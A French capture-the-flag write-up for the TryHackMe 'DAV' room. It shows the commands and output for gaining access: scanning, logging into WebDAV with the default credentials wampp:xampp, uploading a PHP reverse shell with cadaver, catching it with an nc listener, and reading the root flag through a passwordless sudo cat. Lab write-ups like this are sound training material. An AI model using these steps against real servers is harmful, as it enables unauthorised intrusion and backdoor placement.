DAV (Guatemala CTF)

Lien vers l’épreuve : https://tryhackme.com/r/room/bsidesgtdav

Easy

Sommaire

1. Reconnaissance

nmap -T4 -A 10.10.157.86
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 15:26 CEST
Nmap scan report for 10.10.157.86
Host is up (0.032s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.06 seconds

Le scan NMAP indique uniquement un serveur Apache présent sur le port 80.

2. Analyse du site

Première connexion
Première connexion

A première vue, il ne s’agit que de la page par défaut que nous pouvons obtenir dès l’installation d’Apache.

Nous lançons un scanner gobuster et nous observons une page webdav qui nécessite une authentification (Status: 401).

gobuster dir -u http://10.10.157.86 -w /usr/share/wordlists/dirb/common.txt -x php,html -b "403,404"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.157.86
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 11321]
/index.html           (Status: 200) [Size: 11321]
/webdav               (Status: 401) [Size: 459]
Progress: 13842 / 13845 (99.98%)
===============================================================
Finished
===============================================================

A la recherche d’identifiants par défaut sur Google, nous arrivons sur ce blog indiquant wampp:xampp. Le test est concluant, nous avons accès à l’outil avec ces identifiants.

Accès à Webdav
Accès à Webdav

3. Exploitation de Webdav

En parcourant le site Hacktricks, nous avons connaissance de l’outil cadaver permettant de téléverser des fichiers sur Webdav. Nous tenterons d’ajouter le reverse-shell PHP mis à disposition sur le Github de pentestmonkey.

Nous avons pu téléverser notre reverse-shell.

cadaver http://10.10.157.86/webdav
Authentication required for webdav on server `10.10.157.86':
Username: wampp
Password: 
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        passwd.dav                            44  Aug 26  2019
dav:/webdav/> put php-reverse-shell.php 
Uploading php-reverse-shell.php to `/webdav/php-reverse-shell.php':
Progress: [=============================>] 100.0% of 5492 bytes succeeded.
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        passwd.dav                            44  Aug 26  2019
        php-reverse-shell.php               5492  Sep  1 16:05

Nous préparons un terminal en écoute sur le port indiqué dans le fichier PHP, puis nous cliquons sur le lien qui est apparu dans le répertoire Webdav.

nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.9.1.218] from (UNKNOWN) [10.10.157.86] 45450
Linux ubuntu 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 07:09:19 up 45 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

La manipulation a fonctionné. Nous avons un accès à la machine.

4. Exploration du serveur

Nous commençons par améliorer le reverse shell obtenu afin de simplifier la navigation.

Nous constatons que le user www-data a accès aux répertoires des utilisateurs “merlin” et “wampp”

ls -hAl /home
total 8.0K
drwxr-xr-x 4 merlin merlin 4.0K Aug 25  2019 merlin
drwxr-xr-x 2 wampp  wampp  4.0K Aug 25  2019 wampp

Le répertoire de merlin contient le flag utilisateur, et celui-ci est lisible par tout le monde.

cd /home/merlin

ls -hAl
total 36K
-rw------- 1 merlin merlin 2.4K Aug 25  2019 .bash_history
-rw-r--r-- 1 merlin merlin  220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 merlin merlin 3.7K Aug 25  2019 .bashrc
drwx------ 2 merlin merlin 4.0K Aug 25  2019 .cache
-rw------- 1 merlin merlin   68 Aug 25  2019 .lesshst
drwxrwxr-x 2 merlin merlin 4.0K Aug 25  2019 .nano
-rw-r--r-- 1 merlin merlin  655 Aug 25  2019 .profile
-rw-r--r-- 1 merlin merlin    0 Aug 25  2019 .sudo_as_admin_successful
-rw-r--r-- 1 root   root    183 Aug 25  2019 .wget-hsts
-rw-rw-r-- 1 merlin merlin   33 Aug 25  2019 user.txt

cat user.txt
449b40[...expurgé...]d66d2a

5. Élévation de privilèges

Nous recherchons à présent le moyen d’obtenir les droits root sur la machine.

En vérifiant les droits sudo de l’utilisateur www-data, nous constatons qu’il est habilité à utiliser la commande /bin/cat sans mot de passe.

sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/cat

Nous avons donc la possibilité de lire le contenu du flag root.

sudo /bin/cat /root/root.txt
101101[...expurgé...]f7afa5